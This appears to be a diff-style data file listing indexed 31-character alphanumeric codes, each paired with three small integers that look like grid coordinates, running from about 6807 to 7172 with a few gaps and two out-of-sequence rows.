+6807,V9CKJD5O6KM5NC5I3QOCKK2Y0DLTHYV=,107,2,6 +6808,4FHFHZ3EE5JEER6O2ZA9V8TCCO1HRJ3=,107,2,7 +6809,0EFHSRWANFTV5IERLDLCQVSFN9F0HNL=,107,3,0 +6811,7WXO2RZENU5YC7JUA557U25UIGI9WK0=,107,3,2 +6812,TJ8R7U9AO1IZCOYCPQSGRX79MJ6LGR7=,107,3,3 +6813,EY1VOQB33LNZIXST8G97MHLBH7NYL3K=,107,3,4 +6814,XTZU2ENWQ6REYXER87A6WI8B6EZ95L6=,107,3,5 +6815,31UJSZ46EXERPD1JS0FYM2TU4IR112S=,107,3,6 +6816,KMLDSMOOMJOK8HU3EIYZVUJXBV8UIG6=,107,3,7 +6817,6UO8A716O11U2E65IIKGENDIH0RHZC3=,107,4,0 +6818,RI6B6MZWRPWOYK052OPRNCSK25NNZQZ=,107,4,1 +6819,ZQMGWGWEHK3ZVEXDNSJQG1J98EFVHUH=,107,4,2 +6820,J6QM5TJPGXY81ID0ENHHC57ICUFGH2Z=,107,4,3 +6821,TICJW1C0G3TC8VZWRNW0UV3SEM009XU=,107,4,4 +6822,F288TXSY6288UA9NJP6Z73DOQT0KH6B=,107,4,5 +6823,A6IOXXZ8V0YL8J840R5DNGADRS43NFL=,107,4,6 +6824,FTSR2DCFXRQLRB88NVDHW140LXWBLLL=,107,4,7 +6825,2JB1MHVUR2FI2BH8SRCL0IKER2V04U6=,107,5,0 +6826,ZVTLTA07GZQXHG2XMTVFGXMYUR94V4P=,107,5,1 +6827,TQMNPG95XI1PZWH6BRUAF0VJEM67LME=,107,5,2 +6828,RIR18W2QHS3GX1SNWUWN6GVJ2E7RKQX=,107,5,3 +6829,DEFBC91P9Z25HX5YFNVVU2KJBT2NJHR=,107,5,4 +6830,9546134GT73VL840GP6HPH30APPFR7U=,107,5,5 +6831,GFCZX17NJQC2UMVOO0H6ZVF24CRZM2P=,107,5,6 +6832,1G6TSRGWNQRJQJ9T1RH1FN1R18N1QVF=,107,5,7 +6833,KNUZOBGAX7KHD9M2GJFEHE0UEKJVR9U=,107,6,0 +6834,AZ14YG10MWDRZR0CQVNOEJ47HIIAMCS=,107,6,1 +6835,C554JH5KC9977AUE6VJJRUQ1BTNLR94=,107,6,2 +6836,IF5GQEZ2WX2QH0WN8YNSJCHFJA815DD=,107,6,3 +6837,0JRH0VD7V7V59DV8A92W0NPKTV543CX=,107,6,4 +6838,V0OAYS0CZUFYM13P1EGU3ULCQ6DPROH=,107,6,5 +6839,7OW153NDFDZVSYU4KDXRS739OOLMWQF=,107,6,6 +6840,QBGJIDVQ1L4DEINWMOHKS12K641HOE3=,107,6,7 +6841,GGJBGW4HDIAYHKKIOP9KP3MUBGCAGFN=,107,7,0 +6843,0EJMOQTQMJ35K0GZH5DQVPVB6QEQLHY=,107,7,2 +6844,EDL4DQUA8T9MUSSTRCNXNT4EIWDM8XC=,107,7,3 +6845,CIPQNPAZ2IWMGXMBJWG7FAQ81D24U91=,107,7,4 +6846,NL183VFJ885TZP7WTBQD5XMHEM0I4G8=,107,7,5 +6847,5J5NZRPDQ5XT870CB7PED5Z34Q5ZK4I=,107,7,6 +6848,V83ORWR0YQ3NC5MGR4UBWM8VV22GHFE=,107,7,7 +6849,JSHI2K29K8TK7A9X9LZHVXCZPYBCKCQ=,108,0,0 +6850,5TAR0RV9ME2C3V3UX493BGKYB6F1126=,108,0,1 +6851,5FQFOVBJAKRKOGUA8MG6JECSPMLT2G6=,108,0,2 +6852,RQ04UZWKTWTH0QT6D6IG3BJGHVK9P4B=,108,0,3 +6853,34SP3RF5FQM2NI0WDV8PCSAOCMORQFC=,108,0,4 +6854,YD6D2URIMC55T1DTWUC5ZVIK3P9WIBQ=,108,0,5 +6855,2WGKR103V7FMKKU8460V8SIQ7UQHPXT=,108,0,6 +6856,VTJCZJZNE4S5S4HENX2AZ1EK68LJ8R1=,108,0,7 +6857,I14WBFJY46MWH72YL17BXR6XEQ1825V=,108,1,0 +6858,E26MI2Q0UAA6DB15VLVGUBCB0XSXOLJ=,108,1,1 +6859,BT9HGUD8Y2PAO2L9OK057Z16QRU94WH=,108,1,2 +6860,3WHBOFMC4HXIIEKNYC54TKQQE0BAJGL=,108,1,3 +6861,46134UVWCWPXRI5500XWFPJU81FWT2B=,108,1,4 +6862,4WDS3VG2QH3IHFIBDJHZPU8ULL1A568=,108,1,5 +6863,POGYWJ5RBX6773OWYQCEGEW2MGW9RND=,108,1,6 +6864,T8BQ3MUTIU8JOFFU7ZBWXYKWDGOKB80=,108,1,7 +6865,Z2UTST069KQ8PSOHMLQD0PUZYWSSC27=,108,2,0 +6866,MDTPXYNKUPTX6T3NF9Z31UBKI8GBNBL=,108,2,1 +6867,DWJWYHVB4MAO1H5LUIY8LM8YBQHQCC0=,108,2,2 +6868,P4B7L1LVRS1086919HVNG838BQCUEXH=,108,2,3 +6869,NG1JBDO5ICH9J8CA4XBG7J1NA4NQ6EX=,108,2,4 +6870,PBJ0TYKAKNT7YMR7JG6A7W8M0XPSUT2=,108,2,5 +6871,BZG5L7LGJYSC8IJUYF2N5XNILMN324M=,108,2,6 +6872,6R1RN3SL28O5EMETKEYUXVT94KOY1YX=,108,2,7 +6873,N93KX8XVYW7LV7AL9TJVEZYV4MKB7LU=,108,3,0 +6874,3K2QAQDLPTXU7O9O93MNR0IBE9K7R16=,108,3,1 +6875,2TWYCEH1H94G8S7L2LK6PUEDRPHA74S=,108,3,2 +6876,ARYXPTJ2Z1DBEXQXR16GZEEIOBI4HGX=,108,3,3 +6877,SIJY342GUY8I1TEREPYNP583N6D7RXQ=,108,3,4 +6878,EL1ZD35QLRHVX2GDWFUWZCT4ZI3BE4J=,108,3,5 +6879,K81TPUXIBLZNG8YU89YFXYNBLRF1TWJ=,108,3,6 +6880,P4AJID4JSYABLLNQ4JGDR9H1N9WK0CL=,108,3,7 +6881,3HOP0MAGU51UE3V9YVG8JBSXB12YSOG=,108,4,0 +6882,ID3G7TU41AGXVA8NZQ9JQWAKNCDE5WP=,108,4,1 +6883,GXWNRM344ERL51OPTPP5HLZ1KO6MB6H=,108,4,2 +6884,3TDLDIRC25P57HP537646WVXQ65SNRU=,108,4,3 +6885,AXP9DCVNDN2G6TDQWL8WO9NGOP4YT5K=,108,4,4 +6886,X6IWHFKIYJ8LXM0C8RH9NBQ6IG6KKFL=,108,4,5 +6887,V0L93L0DLJRT82PQ0G9OPUEQCZRLFWQ=,108,4,6 +6888,8P4ALKLWSOSMDX1PU85TK0O61UPZMCI=,108,4,7 +6889,Z2ND14LJNWFIU5XBJTM8POOTINC0N7L=,108,5,0 +6890,M90FGJNGU9A1XSEK8R0OFI56EXKT69W=,108,5,1 +6891,A00NR4T1CMT3CGOO3MQTQDN68KXVJI2=,108,5,2 +6892,92RU6U5BN0R9QQGT52F59H7XRCN9RBV=,108,5,3 +6893,1AOTWALJZRD68M1PV74Z76Y4JMPRN2N=,108,5,4 +6894,S8BRLZYIA9JRZPU8S7A4YIZNLQYJP68=,108,5,5 +6895,9YNM20OJCNK1L9YPN8R1IQBDKJ8TU5Q=,108,5,6 +6896,SCQ1BNO9VU4YM9DOIOMJ14WNXLLE0JN=,108,5,7 +6897,N8QXS2VWNQKS62RFUDNDYIF1IZV59VB=,108,6,0 +6898,XJZJ5DAZRGAEYXO9HZGKDZOQOHQ7NJ0=,108,6,1 +6899,OO1MHTF2XMMXRG7YZ66X3PY3SM6SKDD=,108,6,2 +6900,FMZKKQZ8NO9TLVKD7V6OE4IMJ8N0N02=,108,6,3 +6901,061ZGOHGBII0BQJBAM3U6ZFSSHS3LWH=,108,6,4 +6902,GWNQ6ZE7G5TW1SU4SATGN4S6LSSY80Q=,108,6,5 +6903,ZXIT2G2CAHJWTFW3XKZ8A252WJSW11V=,108,6,6 +6904,G7Y9I35V0D8K9DTA8M0FPR7YRHKIYLJ=,108,6,7 +6905,48HZHFMQ9KM4D6VC39SCGKZVGINTQRO=,108,7,0 +6906,ZH1PGG0GSR35W6M9JHBK4J2A6FB4BJ4=,108,7,1 +6907,8J3SDKBDWIL3XXFODSU0XDQYEM57H4S=,108,7,2 +6908,6LLIA3BJRESZYPH7JWQNRURBRPHZ0ZE=,108,7,3 +6909,V31Y9LBNHAR0Z0ECIYL92WJV5T25Q1W=,108,7,4 +6910,3VOJ2KK4K4U2V2XCW4ODVBFML0VNYIZ=,108,7,5 +6911,K7ZW95315RV0UJXCTYNR1P390YMDBEW=,108,7,6 +6912,7GRAISTTO79FH00NH0NXCCXP61AUDV8=,108,7,7 +6913,1X2X6ULM0CYDRKCIUNZSOXZLAR0MTS6=,109,0,0 +6914,WCBQX8LHF09MD22GPEPEQI020PGBJFG=,109,0,1 +6915,ZBBCNN1TDPFMMEOZR0SS928PE11FWWT=,109,0,2 +6916,HRIHU7ASC7I3S9DY8PWISS87VUGL23T=,109,0,3 +6917,6OYJK2FPVAJ0ZT04XYM2J3ZCSWHBXPF=,109,0,4 +6918,GXQGX8A5AO4G8PJ2LOKTMYR59V37PFN=,109,0,5 +6919,T3BW0RIOEM375SWTWVUEU54MUP3GO2X=,109,0,6 +6920,AJJVXF2UB7BYEPFBJ2WMA3VY24NACLH=,109,0,7 +6921,8YS74UEB931UDMPHI4MYZMY49DIHNXS=,109,1,0 +6922,107OYG4GQ3YV1BGR2IXM255322GGZQ6=,109,1,1 +6923,2CJVF087EMLA1RCZS5SY3TOVAX9EPT8=,109,1,2 +6924,3S7CPXMGZL99VM2DZ3PWJ0GDD0A3QV8=,109,1,3 +6925,44FLB07UZAO8SUI7W9IZOZPRRCV0JAY=,109,1,4 +6926,1QUWJB85T669JY3MLPPGFS1NU9M5E3V=,109,1,5 +6927,6L8HKJPUO5BX680W8M04V1NNFMR5E9P=,109,1,6 +6928,13YRQV9QPOBDSZ8R64KYEYCTRNB11EG=,109,1,7 +6929,JKLZB37H7PMEGNERQTDX0GRTLX4L5RS=,109,2,0 +6930,536UKWFJBFXZLQA2I99GME4RM1N3MQH=,109,2,1 +6931,A3YXSSZ6DE2QR4C90T5NLVCJAB6WQW2=,109,2,2 +6932,I0AUZABKYW6UKQ0H26UDS7M1FZ7KFEN=,109,2,3 +6933,T9GH5KWYQHXTJCB4WMKYL6VRUDTLMEC=,109,2,4 +6934,WL3WCSTNP344FIH94F7DCCXND7W4C4B=,109,2,5 +6935,IVBF1JFFTARRWJW26NFLUTTKON175U1=,109,2,6 +6936,LMNB4ZD26XSF10VI5XA03N58IFAU9B3=,109,2,7 +6937,JN5CVV6V1UKVL1UGF6XF1GWJETPGPFA=,109,3,0 +6938,1GS3AFWKGEKCR2X01CDG7SAGNLXJ3DL=,109,3,1 +6939,WNVO69IIRZK09QWZL3PBBVRYHXJI80Z=,109,3,2 +6940,H8MNYXH7GX7PVUB6P9D6GX5THWJT9YL=,109,3,3 +6941,MOTOXYPSFX2JFID6LF5SEX56PFI12E4=,109,3,4 +6942,CU9B6UZMT1YRDLP1HQYEY65SC19HVD7=,109,3,5 +6943,71ZTCR0JOO7SMUWB51SBCX2GFGKI53J=,109,3,6 +6944,W0P3102U0O5VCY8XNQ5JT2L4Z9MW5ZD=,109,3,7 +6945,V1FYIMA3HOLI9HPFEB5YOJEHJB9YU94=,109,4,0 +6946,8V3BM5IHDZT9BEY8XRVVIA2BW6O5JHJ=,109,4,1 +6947,1BAZ5494JJ6D3EATVHEZJ8AM0WNZUJX=,109,4,2 +6948,NT4AOA1OJ62AF5BEIN2K6D84IH94I1K=,109,4,3 +6949,K8SIGEGDHDO4XQ3R6XPSP7FT0DGNRQ0=,109,4,4 +6950,W3713EDDA6FE9807WM3ZPWL9ZC2BM16=,109,4,5 +6951,0LIJV2I2O6JW8I724QV981ME43S3WGW=,109,4,6 +6952,8ZJIDYQ1I87PV9GGPP7AYSW95HLA1ZL=,109,4,7 +6953,ZV98QHJ5X48TS4ODR3EVIXRXLDLVWQ2=,109,5,0 +6954,8CPTE6QIPY5P1OU7HOBK02ZEZYVPW7G=,109,5,1 +6955,AWSHZ0ADMHUFZLTXPHFH35D5Q4ROHZE=,109,5,2 +6956,AC9LPTX12MUMPPG3VBK3SNHSZTCWOWB=,109,5,3 +6957,S8P55IF8FFL9SDCM1W9BU9XLT3E8RK0=,109,5,4 +6958,XOJKK5TFC29YZJHO6I0LYSXPWD0H7VZ=,109,5,5 +6959,5BGBCFP9YRS7LN7VZFI29ZR57ZAHP16=,109,5,6 +6960,BMEQO5JK51N4ZEFQP61C7N5VUTWHEOO=,109,5,7 +6961,D9F2Q8BHZMIWY1G22IOZ1J7IOQ1EED8=,109,6,0 +6962,R2UDNRJQ7CVCHBYA80PKK1A1FGDHQJT=,109,6,1 +6963,5V3XCLQHRJZJ1HZYC66O7B60FDZAQY7=,109,6,2 +6964,RL6Q5Z7HZHOD6UHVFED32LL76P1SSJU=,109,6,3 +6965,OAWXFDJC5YPQPCY5I00NA4ZLOFEIUV3=,109,6,4 +6966,MXIK93PNNM6F1OSRJYFFZ2RWUS58M77=,109,6,5 +6967,Y7W1QGE0G496Y587CCEF51UVD3WTTVX=,109,6,6 +6968,GHS6Y2I6ZACINYMW3M0QNYWWWEKOEZX=,109,6,7 +6969,C65ZFDH8GE2CX5YK1KT9YU1FZQGUW2J=,109,7,0 +6970,RM2FA7X56JTSB927QQKV8ZPBXTOFVDU=,109,7,1 +6971,J1T8UMYIU0OPH72PAIOGUJOFADCQ3JC=,109,7,2 +6972,ULBPY5FDVATF7FG98A9DBS12EF2ZRP6=,109,7,3 +6973,QVGBU7433M1FAM5K9PBAJUHH0A50T3M=,109,7,4 +6974,A9VWUP91ZW73JMJPHBYIXKGOLIVU3O3=,109,7,5 +6975,OLPJWJ3SQR6WMI9O3RL2O1FYXK0ZJRT=,109,7,6 +6976,ISE1OLNNUDPDE2JEPCUBB42E72C39HO=,109,7,7 +6977,QF9EAHTIXH485GIMADFCGJ6IAKHPA2O=,110,0,0 +6978,R9X8WSSFJUDM1VQYIZS0EPGC9V1DEJF=,110,0,1 +6979,FWUDUW7RKQBMOXWUHTPZP628OUSAFKG=,110,0,2 +6980,6P77J3H8NOEP6MJKVRNTI4NPVO0XIKY=,110,0,3 +6981,4MMR4WN0Z5GZY32O0CCQ9T5RWIDMX12=,110,0,4 +6982,XRN2UYSA8WYKYMH0YVGF2061A4HRXHU=,110,0,5 +6983,3BOE82FCRQBBZWQWHFCIUYREW6O1WYA=,110,0,6 +6984,9F19RKG0TRNS5ABKOQZ2BKWPSE1TTVX=,110,0,7 +6985,UZ36UMNJEYOVDQXQD6JZA7ZGAGHLESU=,110,1,0 +6986,4YH8IJ8O8MZ4LF4TYKK3EXPPRDVCTY6=,110,1,1 +6987,8B00H11PKPJWAPF2KFUXRR5DW9F5JJ5=,110,1,2 +6988,C4E913GNAKRG9UND5I7FICP3Z9WCAWL=,110,1,3 +6989,Q6V1ERZWC6ILRHTLUHJ7RLXXT3USTOW=,110,1,4 +6990,B0ZR6WA7TCZ95881C2PE3YZYKZYCS6T=,110,1,5 +6991,1OXH7865WLU6BUK0RQINJD4WCIUFA73=,110,1,6 +6992,Y8Z23U8KNS401KMFEXTIBEOZNMUW7ZR=,110,1,7 +6993,4I4YJ014Q1UWKK2RUKFWQ7GDJXG6ZD0=,110,2,0 +6994,RRXXOHZQGT5GYI3U0CNURYMO5LOESTV=,110,2,1 +6995,22O0TIBSHYQN6SFAFKTERVG2GNA0HSG=,110,2,2 +6996,5ZIUVKSKWHZJDGH680WL2LWZ9AJLUS3=,110,2,3 +6997,DGYA8OOD1AIQX5KN04NXSHKAYPOXWKG=,110,2,4 +6998,1XYW8QQJYZYNYBN9TG5L21ZGD2VRPKD=,110,2,5 +6999,K4DFC8ZR59TOQFAPREDYM2Z7WNRLYHQ=,110,2,6 +7000,I112U5G0M6JXAQG5VUR5U1Q7VQO6Z07=,110,2,7 +7001,XR45UPIPA7W7F3YWRJ9BK7PXVCL5L98=,110,3,0 +7002,901NQ0WWUDU4SRCM9HJWYTWT9EQNXXR=,110,3,1 +7003,K03OSTPZHRNGOHV80AW74ZV7T6MXBCH=,110,3,2 +7004,SZ4B4Z108YPJUGSRB1EAH3SBI5JI2MU=,110,3,3 +7005,J9CWKEV1NVM6WB57LKRS6TS6NBMHXPC=,110,3,4 +7006,EEY3DOQH041R6GQPJMB6QIFLD0122MM=,110,3,5 +7007,VNJ92FWD0PVY5YRIQVWNA9YYH33HKI1=,110,3,6 +7008,J4S28YO9VUG6RTY6ZL1KH85VAHVTX44=,110,3,7 +7009,CCN9BMRH0B6AE3BN2K14AZ4MZKTBUZS=,110,4,0 +7010,SQ4WHTZ9FSXL0T5R85LI6WIVQMTS9SN=,110,4,1 +7011,AW0GLBWYZ6HTPB4QNIKETU7XSW6ZS6O=,110,4,2 +7012,WLKI99GFB0DC70SOFT09V8N6P5X3BS3=,110,4,3 +7013,KABI4226L97S5KT55S96LQJH0YLQXZX=,110,4,4 +7014,PY374ODLVWRIL8MP14JKDDEQSIO49JJ=,110,4,5 +7015,ZDLAJE5PSM2TZVQ0VT3U8V8WAQZB6Z8=,110,4,6 +7016,IYEHI30S95JKO02VG5VWYDUV9LLUFZD=,110,4,7 +7017,RKD5EMXVYI5DL28OK6EHW1KSFU8EY4W=,110,5,0 +7018,1CD8QKZTA91OQFOV7JLVIDYGGZPW0QA=,110,5,1 +7019,QVXEQ2W046CHTW45ZN4XSTU1JVRQDTK=,110,5,2 +7020,65KZ414JXPX2QDHRYPM149LE1G95XH0=,110,5,3 +7021,DOE86GDOFFG3WCXC9JB7G11RVDAWY01=,110,5,4 +7024,UCT018ZDRPW46KNOYGA7AXE9KB6BSOZ=,110,5,7 +7025,EJSUXTJHS84B7RGRHC3IRFXW6DXZMY5=,110,6,0 +7026,YGN4384F42ZOEGQA637IB0U3Y5HUF7O=,110,6,1 +7027,VI12LXV34VTHTLPFVCSFVFU6TJD9AQJ=,110,6,2 +7028,RYZWJHQKEV5ELM2G1L3FYABX2EGRNEY=,110,6,3 +7029,XB30LL2ZA5NR635FOG07YNV9YWO06BF=,110,6,4 +7030,94MY2ZMN62QIUPCF5Y1A6YPXWNL4LOK=,110,6,5 +7031,LQ38MCXH62CD33FU4OJQ1FGKN77TIFU=,110,6,6 +7032,6WLBPJV04A5JSIIWXICBNB716AW8EAT=,110,6,7 +7033,J5LO6ZPPKRKWFP95COVCNHEYKJASVBS=,110,7,0 +7034,FJPQX74Y6LMARFC6X8LEH7ICHUQCM33=,110,7,1 +7035,4D5AKI6A7ZIM0BU9L8FGLST0QRFZULW=,110,7,2 +7036,7OEMQKWUBVS9J4STYVCEURHVECSPNGQ=,110,7,3 +7037,FAMFZ4ZVOEIT2LFEPAUKI2P026TENV7=,110,7,4 +7038,5EJW2KQJU8SA6QK2N7TLNHDZWHDH6QP=,110,7,5 +7039,LJP9GUFO5JOV02RJ5JNNGY0893P0NDN=,110,7,6 +7040,6SEY8ASDT6HADOHQDPXWFAVTTFMKXNB=,110,7,7 +7041,BBPLL5CJSCSJWIBIRU1PJS1WIZQKH88=,111,0,0 +7042,H4F4ZJ54XA5LAR4CQEETQJGQFLEXH9Q=,111,0,1 +7043,67V33ZHXQQZNKIDWMF04BA4YKYPP3J9=,111,0,2 +7044,7X1CAHAT9GJCDTD9CUSWHANOJ8CJ5SU=,111,0,3 +7045,375BBH59KACLNJ4TVX0WMXBQT8FKXSJ=,111,0,4 +7046,GWBM9WZ8NNYWBO9MWD8SUG4JKQKROF5=,111,0,5 +7047,FHIJNERSA3MX5IKY38XNRV9ASTYMCOG=,111,0,6 +7048,DJ2KKLAHR5BM5DUP1HNDRLIAX6VA5TQ=,111,0,7 +7049,LA6R6X78C3PUJNR6KMBJ5YLCSG51XKR=,111,1,0 +7050,1C9OM59A1XQUV4Q752W9UNLX8EKUSSD=,111,1,1 +7051,VSF8D9UW1HY3XUZTLHV5I7G49ATP56T=,111,1,2 +7052,X0CZ3LQXF7B426CL3RVPO5Z59PP2BNC=,111,1,3 +7053,HG05AZNW7OSHJ7CFUWFW2UQ12KK3ZKW=,111,1,4 +7054,YFTQSVI6ZCYY24L9TTE34MEC4T1CCDI=,111,1,5 +7055,ROVD6YPTWCW57N2TX2ORCCJBTP009I6=,111,1,6 +7056,9A9JZEI5WMJ9HJAY73V6Q0CJQWBQO8G=,111,1,7 +7057,5F2OJS4FWHFJBU42AJJMAKT30RCRTLE=,111,2,0 +7058,OP3M825OAN0FS79XQ07C6L9GSTRTYPZ=,111,2,1 +7059,REF6G4ULUJOJS64OA9KHY2T8LV2YNYF=,111,2,2 +7060,NSMN8QOL14FWLRSX57LTDOK2RFPB6NK=,111,2,3 +7061,B9K8PAJJRIEURTPFZBIQG8FFFALRPS4=,111,2,4 +7062,2D44LREMM95R6ZMTT4VMYLLKETPTCNW=,111,2,5 +7063,OAHMYECPGDG54S3R0UGEHKL7IWLMCEA=,111,2,6 +7064,ZTHVGALHLG3P88K871MOD6PPR0P5US3=,111,2,7 +7065,RO34BPXS80KBBRRORAUYXNOW7OZ3DBD=,111,3,0 +7066,72T9C5HXRIQLT6DSQWY2JOUS24U2WT0=,111,3,1 +7067,2IR3EXIVIHMA9XEO2NMB5YQMXBVZO4E=,111,3,2 +7068,A835A67VQPR0G695LXLTT7QIIJCSZ2C=,111,3,3 +7069,P7LGB2QJGB1EDRHOK5YIRNX45C4V63T=,111,3,4 +7070,057L8K4FCJPNOEYAKKH8DBGTQC7CDW2=,111,3,5 +7071,S4OIS4SJR1ASETV1MVJJ09BMJBNHVS2=,111,3,6 +7072,BL8V3UGR43IUJWDTC57WXSVSQYB1APV=,111,3,7 +7073,5HA7OSVPCPK8PH1E6NPS2JIC0RU05MF=,111,4,0 +7074,NETUQFGHDXE0SM25DI9BGD4BXX297OC=,111,4,1 +7075,8MEH6CWGCMGA94D9MR662MUNTSHQWPO=,111,4,2 +7076,FBBKXX68HUGIOA7CCLLF1HEKV4IORM7=,111,4,3 +7077,KVXJKVJ7D6GOOJU2M3FXTMLF4F8ZCMJ=,111,4,4 +7078,4OMAW8VQ8OP4LRYW5PAMA7RDE6TXTIX=,111,4,5 +7079,KYSOD7RPJHK5IZ97F58APYXUOR31UH7=,111,4,6 +7080,ZXQMDHNFMC1D2BC75R944W2Z6BLTPI4=,111,4,7 +7081,V059AUTAV1QJ4KPQ5VHD50DWFZ8HY3L=,111,5,0 +7082,2EIWRTC7KY78F4ROG47CVCGVQL88UNJ=,111,5,1 +7083,3MK96HVYKSY7IJHER97PR3JW5GVXL5D=,111,5,2 +7084,QKJ37O3GN6MCQXWRZLSEWE3F8TTNXH9=,111,5,3 +7085,Q58HU4VI8AJK2IIVSLV3MZPMVLAHFZ2=,111,5,4 +9283,PHUDCMYS4ZNFVFL8YBSJEYCD96PG4AS=,146,0,2 +9284,CIH7F17CWCRP49X43FBKLDNCQS92JH7=,146,0,3 +7088,GATZF6KA888CUAAW823FT6RT298LTWV=,111,5,7 +7089,XMEO5OFHDXD1DXQLM18K6HUX7QDVU6U=,111,6,0 +7090,IAI34HOLA3U6B3ENQQ1D8681I42RNEM=,111,6,1 +7091,UQ7IHIMS3TZN911PGBNQUHKAGMKO5FS=,111,6,2 +7092,Z9WZ9AA336WRGP9I9LMVTUEV86KPG60=,111,6,3 +7093,C4XZYUFZHRDP9V10USWI15J6CZJ1LKL=,111,6,4 +7094,3M3R5RX468QB1GL30MALK938788IDJ6=,111,6,5 +7095,JUUYG9ANSDC0FKP234PZ9N7FLE3RQX8=,111,6,6 +7096,KGJZNT5FFOHIFPJNYOV0I6SH3S5VUPU=,111,6,7 +7097,8SKK3JOFY8TG6Q80HIAA7E9EO43WUW4=,111,7,0 +7098,PLXB06H4RNBPPWTLNCPH4AHB8S1Y2YI=,111,7,1 +7099,JY0H7CGK8ETJFMTSUG693HAYUQ9WRFM=,111,7,2 +7100,BNC0GPBLAU0VSTFK6IRH1A3H1FZT4UD=,111,7,3 +7101,IT2MUGKEW1EKG7LCEQHB9A0ZGUDY0JV=,111,7,4 +7102,9FOHVOOUKMIHI84YHFMH7OUK7JXOKEN=,111,7,5 +7103,M4VOB4E3XUC8L28QNLIXZ9PG88ZEOQD=,111,7,6 +7104,M7GOLKMQUEBOGF9I36I3QXZ950UWING=,111,7,7 +7105,PY8YBAQ1ROTCM0PC21DOCXC8MDY003Q=,112,0,0 +7106,L15HAJ0VJBV6WIGSWTG38VET4TD8LUI=,112,0,1 +7107,HIQAPLPUN19QP70HH15XV1FABEK6OFZ=,112,0,2 +7108,BODZZ9WXOOGQ2FUAX7E3L75VA0EWU5K=,112,0,3 +7109,V6Z4LBTZQZ9T76039U5MBH34TK03PWY=,112,0,4 +7110,DQT37E8ROO6KGZPE8WEXFIBPMOIH0CP=,112,0,5 +7111,9VUXN47HVPV5HHCKFI3GIW2FERZOPB2=,112,0,6 +7112,AKPNR2C7GN2L5TEDFIG7F2RXN9Q5PBE=,112,0,7 +7113,2NO6M263FWQ3CHYK002C0ALE5R8NFM6=,112,1,0 +7114,K5RHE5LUB1GC8RXOOCRHEKS0CCBUNFD=,112,1,1 +7115,88OMUTO8D50TWLUNW82Z3NS3N3U9GX5=,112,1,2 +7116,BIYUJF3TWFCR82BA60VWOA9OQD7D2M1=,112,1,3 +7117,N11MCY8L2SNM7W6U9BXHE0ML5QOTLYG=,112,1,4 +7118,D1GX74BTCSKGBOZMMV9VM6VE8H2232Z=,112,1,5 +7119,EPBJOMX2LSA4QJSAP6M6RCCYHJ9CI8Q=,112,1,6 +7120,IHG773RSZRE14ZE11E7WUDI0BFNBN0T=,112,1,7 +7121,1R4XKVQ3FF501QB6EC9ZLVSO83YST2J=,112,2,0 +7122,U5Y8O366UJODLU1M5Y2ICJYIRUB8J3C=,112,2,1 +7123,X2A1N1WE3RHV2EJCJB5NZYQNCVS2BPW=,112,2,2 +7124,ME23XLRBBMO5IYM6XLAY1FEWQ070LC7=,112,2,3 +7125,B9OWKGPLUM338C8MB7Z19BVROY2JCQF=,112,2,4 +7126,7CWCIWNBOK4T1IVMYYDLKWRA49LOHGF=,112,2,5 +7127,BZY7FR9JHRYWP8SOZLRVVQ664X05ICZ=,112,2,6 +7128,UDS2WIQCTZ0FGF6T86O90UBZDGHE54M=,112,2,7 +7129,FRL4MN5OA6ZG9910MW1X5THPFPBCL9L=,112,3,0 +7130,FSLJDRW1AJ1RXE3O1BI44C1YHEPRBOC=,112,3,1 +7131,RDU0H36BTODO2XYG7Q1JSLPIQ1KQMA0=,112,3,2 +7132,N5XQPKU1JMZCXII2JEM03MVQD1J0XLO=,112,3,3 +7133,VEUDLUZIRZI76H3FPP34QU6SR2QL8H2=,112,3,4 +7134,17H5EMIQJEOBPW3T5ZUOGH1I04UCA7W=,112,3,5 +7135,IBT8RPMPSR4HV6IA552H346F3N4BCZV=,112,3,6 +7136,Z97XY1LVW3F96MY9YWRAXWXG0IZ6GQT=,112,3,7 +7137,SGKS34O1YFM4T78D01W34AGNWCASUCN=,112,4,0 +7138,X7N3X6LUZ3SVI0XHMMPEZWIQCX0XB58=,112,4,1 +7139,TK9B7CSN7FL4Q7VF8S6O03J6SPDKQPQ=,112,4,2 +7140,7RCALBDOYQ6VP95SFLL9473C1HNZ0FN=,112,4,3 +7141,CA9O50Q4TRRCAXKIQK6S10VQ3RJLD19=,112,4,4 +7142,MOWK0RVZKYDM4U9M082NT9IXE5G66D7=,112,4,5 +7143,S654E2VCTJNLJNN1Z3IAZUBVG3IIYDY=,112,4,6 +7144,25KH8OKAJID9TEAJIDMH40O2T57WYBM=,112,4,7 +7145,0P9FA95GT8UDNU02MOWI98BJQ3EKTPM=,112,5,0 +7146,X1MG934425Q84KMY8ZL8ZOQHK0GR7CP=,112,5,1 +7147,JKE2J96S255NJZSP0BFYZ0PRKO6PT09=,112,5,2 +7148,9XUXGRVCGJTTKUFC91VNW1YQ65WUXJU=,112,5,3 +7149,T3RW4RF0JNEV8NN8YF6ZHOI0EA1R9OR=,112,5,4 +7152,YUNGM2403TJDV0QEJFQPUS9F38LNYDL=,112,5,7 +7153,KHJF45234N4NBNOXLYXD8D2X2Y7KYBO=,112,6,0 +7154,1LZ5QXYY6QV9VII0KZS2V73T2QXOS9Z=,112,6,1 +7155,KNUNGPEATZI4NH48W6N55V8VQD9D772=,112,6,2 +7156,CQWME0EFUJPDEDA3D1IUH9XI8NEA44Q=,112,6,3 +7157,GLM2UR2AH01LTPW3ZFMH678X2V7IFIK=,112,6,4 +7158,TLUMRVRXSI26Q0M0MWJ0G9EDX0NA8Q9=,112,6,5 +7159,G80FTB4FHWHJK3YIQ9AEMTPUK84FAVI=,112,6,6 +7160,O6STD1G14KXSBHHQJ59QA0POFDEKMS0=,112,6,7 +7161,K3D1BI8NJUUPYLWSISSBYA5DP0A1JNY=,112,7,0 +7162,JMIV7BLHRUWIZJIMIZASHPZ4MLX6ZBN=,112,7,1 +7163,9QFIXZEKD1IAIH1LO01JSKPUU9TF9IM=,112,7,2 +7164,JL902UZ0H0CDOJ5J0KZ7DVZ6WU4G3G1=,112,7,3 +7165,45IJ2JAD691K1ARU2BXRRP7AGMZE3HR=,112,7,4 +7166,Q5DNNMNYIYQ3VE7QFA2P0YCH2X0UABG=,112,7,5 +7167,HBVALP9W6Z4EU2QT55CYFRJXA7ZXLIY=,112,7,6 +7168,7FZ1RQFZCTET1EBXVLVM3G7TDML0EWH=,112,7,7 +7169,WEKJQ9LNVOT2JQ6CXVYPC9J4KH58MB8=,113,0,0 +7170,DTGI7NGMU8K0U5553S4GQ4UZUKIEKAP=,113,0,1 +7171,AI3KU2F7SXVAQCUJZ93UW1BWYV6B2MK=,113,0,2 +7172,2NHTX4LF8T53BRW9T2JYLRQB7MMHH18=,113,0,3 